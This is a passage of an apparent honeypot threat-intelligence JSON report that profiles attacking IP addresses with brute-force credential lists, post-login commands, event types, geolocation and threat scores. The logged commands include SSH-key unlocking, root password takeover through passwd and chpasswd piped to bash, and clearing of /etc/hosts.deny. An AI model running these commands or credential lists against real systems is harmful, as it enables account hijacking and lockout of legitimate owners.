        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nm2QpHugvkUkM\\nm2QpHugvkUkM\\n\"|passwd",
        "echo \"Qiyuesuo123\\nbxwSsCc5l1qE\\nbxwSsCc5l1qE\\n\"|passwd",
        "echo \"password\\nOmTC9O2aFkaz\\nOmTC9O2aFkaz\\n\"|passwd",
        "echo \"root:8Znidlgh7dmc\"|chpasswd|bash",
        "echo \"root:lM6zbqjSpfe7\"|chpasswd|bash",
        "echo -e \"123\\nm2QpHugvkUkM\\nm2QpHugvkUkM\"|passwd|bash",
        "echo -e \"Qiyuesuo123\\nbxwSsCc5l1qE\\nbxwSsCc5l1qE\"|passwd|bash",
        "echo -e \"password\\nOmTC9O2aFkaz\\nOmTC9O2aFkaz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 60.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 921,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:06:26.294000+00:00",
        "last_seen_30d": "2026-03-31T18:47:28.702000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 718,
        "Suricata": 203
      }
    },
    "202.188.47.41": {
      "attack_count": 560,
      "first_seen": "2026-03-02T16:49:48.266Z",
      "last_seen": "2026-03-31T04:34:45.484Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "astra",
        "jun",
        "karim",
        "test",
        "ann",
        "escaner",
        "ftpadmin",
        "pwserver",
        "rdpuser",
        "shoutcast",
        "simeon",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "!aa123456",
        "102030",
        "123456Q!",
        "123zxc",
        "1q!Q2w@W3e#E",
        "202500",
        "234",
        "2fast4u",
        "4321$#@!",
        "520520",
        "@wsx3edc",
        "AA1234567890",
        "BB-123456",
        "Bi123456",
        "Change@123",
        "Dy123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"a12345679\\n1iJS06xKkRd0\\n1iJS06xKkRd0\\n\"|passwd",
        "echo \"password\\nV0K0urrWfYVo\\nV0K0urrWfYVo\\n\"|passwd",
        "echo \"root:3k8tc4hlhtCq\"|chpasswd|bash",
        "echo \"root:YAyQalRTxyuM\"|chpasswd|bash",
        "echo -e \"a12345679\\n1iJS06xKkRd0\\n1iJS06xKkRd0\"|passwd|bash",
        "echo -e \"password\\nV0K0urrWfYVo\\nV0K0urrWfYVo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cheras",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 710,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:49:48.266000+00:00",
        "last_seen_30d": "2026-03-31T04:35:46.623000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 560,
        "Suricata": 150
      }
    },
    "218.51.148.194": {
      "attack_count": 559,
      "first_seen": "2026-03-07T08:47:34.291Z",
      "last_seen": "2026-03-16T19:11:29.245Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kusanagi",
        "pyramid",
        "sbbs",
        "site2030",
        "ttt",
        "username",
        "ann",
        "bounce",
        "dheeraj",
        "dspace",
        "ftpuser01",
        "grafana",
        "huang",
        "linuxadmin",
        "mc",
        "odoo12",
        "su",
        "telegram"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "password",
        "1",
        "123",
        "1234",
        "123456",
        "123456@Aa",
        "Qwe12345.",
        "Ubuntu22123!",
        "a123456789.",
        "bounce123!",
        "dheeraj123",
        "grafana123",
        "huang123",
        "kusanagipass",
        "mc@123",
        "odoo121234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nJnX9hAV685rv\\nJnX9hAV685rv\\n\"|passwd",
        "echo \"12345\\nbdqmiZE1Tdz9\\nbdqmiZE1Tdz9\\n\"|passwd",
        "echo \"1\\nuoMazDEC8DSL\\nuoMazDEC8DSL\\n\"|passwd",
        "echo \"kusanagipass\\nwRpmVpBYBqC9\\nwRpmVpBYBqC9\\n\"|passwd",
        "echo \"pyramid123\\nFxCcgdp0LOEk\\nFxCcgdp0LOEk\\n\"|passwd",
        "echo \"sbbs1234\\nwu8kZpl4sO5D\\nwu8kZpl4sO5D\\n\"|passwd",
        "echo -e \"12345\\nJnX9hAV685rv\\nJnX9hAV685rv\"|passwd|bash",
        "echo -e \"12345\\nbdqmiZE1Tdz9\\nbdqmiZE1Tdz9\"|passwd|bash",
        "echo -e \"1\\nuoMazDEC8DSL\\nuoMazDEC8DSL\"|passwd|bash",
        "echo -e \"kusanagipass\\nwRpmVpBYBqC9\\nwRpmVpBYBqC9\"|passwd|bash",
        "echo -e \"pyramid123\\nFxCcgdp0LOEk\\nFxCcgdp0LOEk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mapo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 653,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:47:34.291000+00:00",
        "last_seen_30d": "2026-03-16T19:12:34.663000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 559,
        "Suricata": 94
      }
    },
    "43.243.142.42": {
      "attack_count": 520,
      "first_seen": "2026-03-05T19:47:40.510Z",
      "last_seen": "2026-03-18T08:20:30.605Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "acer",
        "django",
        "eversec",
        "gitlabuser",
        "kube",
        "root",
        "7days",
        "admin",
        "admin1234",
        "ais",
        "android",
        "benson",
        "bodega",
        "github-runner",
        "harish",
        "jagdish",
        "jordan",
        "kadmin",
        "leon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "123456",
        "100",
        "1234",
        "12345678",
        "Gitlabuser123",
        "Leon123!",
        "Root#123",
        "adm1n",
        "admin1234123!",
        "ais123",
        "android123",
        "bodega@123456",
        "harishharish",
        "kadmin123",
        "live123",
        "lyt1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nPpiEfCJRRi0Z\\nPpiEfCJRRi0Z\\n\"|passwd",
        "echo \"123456\\nUZY4S2w4unF4\\nUZY4S2w4unF4\\n\"|passwd",
        "echo \"Gitlabuser123\\nj5hRXj8wJKSw\\nj5hRXj8wJKSw\\n\"|passwd",
        "echo \"password\\n47QpEEh2rH52\\n47QpEEh2rH52\\n\"|passwd",
        "echo \"password\\nzSEKNKf2VeMW\\nzSEKNKf2VeMW\\n\"|passwd",
        "echo -e \"123456\\nPpiEfCJRRi0Z\\nPpiEfCJRRi0Z\"|passwd|bash",
        "echo -e \"123456\\nUZY4S2w4unF4\\nUZY4S2w4unF4\"|passwd|bash",
        "echo -e \"Gitlabuser123\\nj5hRXj8wJKSw\\nj5hRXj8wJKSw\"|passwd|bash",
        "echo -e \"password\\n47QpEEh2rH52\\n47QpEEh2rH52\"|passwd|bash",
        "echo -e \"password\\nzSEKNKf2VeMW\\nzSEKNKf2VeMW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:47:40.510000+00:00",
        "last_seen_30d": "2026-03-18T08:21:38.922000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 520,
        "Suricata": 103
      }
    },
    "59.98.148.5": {
      "attack_count": 475,
      "first_seen": "2026-03-10T00:53:05.031Z",
      "last_seen": "2026-03-24T15:03:07.552Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "astro",
        "boom",
        "louis",
        "qbtuser",
        "root",
        "saas",
        "adi",
        "aman",
        "amit",
        "anders",
        "forge",
        "mark",
        "matlab",
        "monitoring",
        "mosquitto",
        "myuser",
        "noreply",
        "online",
        "openeuler"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123",
        "123456",
        "345gs5662d34",
        "1234",
        "12345678",
        "password",
        "2wsxZAQ!",
        "Forge123!",
        "Matlab",
        "Saas",
        "aaaa1234",
        "aman123",
        "astro123",
        "boom123!",
        "markpass",
        "myuser@123",
        "openeuler123",
        "portalpass",
        "rootspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\n7ejcggYIaHDv\\n7ejcggYIaHDv\\n\"|passwd",
        "echo \"123\\nQxJFBnCT8YSx\\nQxJFBnCT8YSx\\n\"|passwd",
        "echo \"Saas\\n53GUPnTXvJ1p\\n53GUPnTXvJ1p\\n\"|passwd",
        "echo \"astro123\\noNJV5zqXMbX4\\noNJV5zqXMbX4\\n\"|passwd",
        "echo \"boom123!\\nvwW2p9zezTj9\\nvwW2p9zezTj9\\n\"|passwd",
        "echo -e \"123\\n7ejcggYIaHDv\\n7ejcggYIaHDv\"|passwd|bash",
        "echo -e \"123\\nQxJFBnCT8YSx\\nQxJFBnCT8YSx\"|passwd|bash",
        "echo -e \"Saas\\n53GUPnTXvJ1p\\n53GUPnTXvJ1p\"|passwd|bash",
        "echo -e \"astro123\\noNJV5zqXMbX4\\noNJV5zqXMbX4\"|passwd|bash",
        "echo -e \"boom123!\\nvwW2p9zezTj9\\nvwW2p9zezTj9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Coimbatore",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 562,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:53:05.031000+00:00",
        "last_seen_30d": "2026-03-24T15:04:16.898000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 475,
        "Suricata": 87
      }
    },
    "171.231.196.254": {
      "attack_count": 456,
      "first_seen": "2026-03-17T07:40:03.486Z",
      "last_seen": "2026-03-17T08:06:23.265Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "monitor",
        "support",
        "*****",
        "ace",
        "admian",
        "anton",
        "ashish",
        "auto",
        "backup",
        "bin",
        "carol",
        "cf1c22",
        "client",
        "db2inst2",
        "demo",
        "developer",
        "dubai"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "admin",
        "123456",
        "*****",
        "039715582364317",
        "0987654321",
        "1111",
        "111111",
        "12345678",
        "123456789",
        "1234567890%*()",
        "91482d",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin01",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T07:40:03.486000+00:00",
        "last_seen_30d": "2026-03-17T08:07:23.684000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 194
      }
    },
    "116.110.158.174": {
      "attack_count": 394,
      "first_seen": "2026-03-09T21:58:28.448Z",
      "last_seen": "2026-03-09T22:31:45.396Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk",
        "installer"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 557,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:58:28.448000+00:00",
        "last_seen_30d": "2026-03-09T22:32:48.537000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 394,
        "Suricata": 163
      }
    },
    "161.35.87.209": {
      "attack_count": 376,
      "first_seen": "2026-03-20T03:48:22.845Z",
      "last_seen": "2026-03-23T05:26:31.289Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dario",
        "jim",
        "pm2user",
        "root",
        "user2",
        "developer",
        "email",
        "jenkins",
        "joshua",
        "netflow",
        "sa",
        "taibabi",
        "tester",
        "user",
        "user02",
        "vpn",
        "webapp",
        "won",
        "xwiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "12345",
        "123456",
        "123qweASD",
        "Ccjsj1200",
        "Taibabi123",
        "amir1234",
        "dario",
        "developer@2024",
        "jenkins123456",
        "pm2user@123",
        "tester123",
        "user2123!",
        "vpn1234",
        "webapppass",
        "won1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"dario\\nDTtK4PYYtnzS\\nDTtK4PYYtnzS\\n\"|passwd",
        "echo \"password\\npQjDyiWIE5Gd\\npQjDyiWIE5Gd\\n\"|passwd",
        "echo \"pm2user@123\\nQq5LJXqhYTBX\\nQq5LJXqhYTBX\\n\"|passwd",
        "echo \"user2123!\\nhCfF0lmfEgw5\\nhCfF0lmfEgw5\\n\"|passwd",
        "echo -e \"dario\\nDTtK4PYYtnzS\\nDTtK4PYYtnzS\"|passwd|bash",
        "echo -e \"password\\npQjDyiWIE5Gd\\npQjDyiWIE5Gd\"|passwd|bash",
        "echo -e \"pm2user@123\\nQq5LJXqhYTBX\\nQq5LJXqhYTBX\"|passwd|bash",
        "echo -e \"user2123!\\nhCfF0lmfEgw5\\nhCfF0lmfEgw5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:48:22.845000+00:00",
        "last_seen_30d": "2026-03-23T05:27:40.008000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 63
      }
    },
    "172.182.226.193": {
      "attack_count": 318,
      "first_seen": "2026-03-21T02:18:38.240Z",
      "last_seen": "2026-03-21T07:37:12.322Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "(public key)",
        "1",
        "1111",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "1234567",
        "123456789",
        "1234567890",
        "1234qwer",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@WSX",
        "4$RFV",
        "4rfv$RFV",
        "654321",
        "Aa123456"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 483,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:41:19.160000+00:00",
        "last_seen_30d": "2026-03-21T07:38:18.757000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 318,
        "Suricata": 165
      }
    },
    "69.49.246.176": {
      "attack_count": 306,
      "first_seen": "2026-03-05T03:46:44.392Z",
      "last_seen": "2026-03-15T20:02:46.408Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "develop",
        "wialon",
        "admins",
        "centos7",
        "help",
        "icecast",
        "nodejs",
        "purple",
        "sam",
        "tfserver"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "12345qwert",
        "ABCabc123!",
        "P@ssw0Rd",
        "Pass@word1",
        "a12341234",
        "a1234567",
        "a2tt45",
        "aaa***",
        "m@123456",
        "qwe@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nVswIbat3fAkT\\nVswIbat3fAkT\\n\"|passwd",
        "echo \"12345\\n48nQszkkNUHd\\n48nQszkkNUHd\\n\"|passwd",
        "echo \"root:hGZjAeQ7Ec36\"|chpasswd|bash",
        "echo -e \"12345678\\nVswIbat3fAkT\\nVswIbat3fAkT\"|passwd|bash",
        "echo -e \"12345\\n48nQszkkNUHd\\n48nQszkkNUHd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T03:46:44.392000+00:00",
        "last_seen_30d": "2026-03-15T20:03:50.310000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 61
      }
    },
    "118.193.33.3": {
      "attack_count": 236,
      "first_seen": "2026-03-27T01:07:59.772Z",
      "last_seen": "2026-03-27T02:49:20.278Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0206",
        "123.123",
        "123456789101112",
        "123qwE",
        "20260817",
        "Abcde12345",
        "PasswOrd321",
        "Password12#$",
        "Skemasuprem@890",
        "Support!2024",
        "Support123",
        "administrateur",
        "fuckfuckfuck",
        "minute",
        "mm@123456",
        "qwerty212",
        "qwertz123",
        "root123$%"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JF9VQu4vLP0y\"|chpasswd|bash",
        "echo \"root:SBaYRqOizY2Y\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.6,
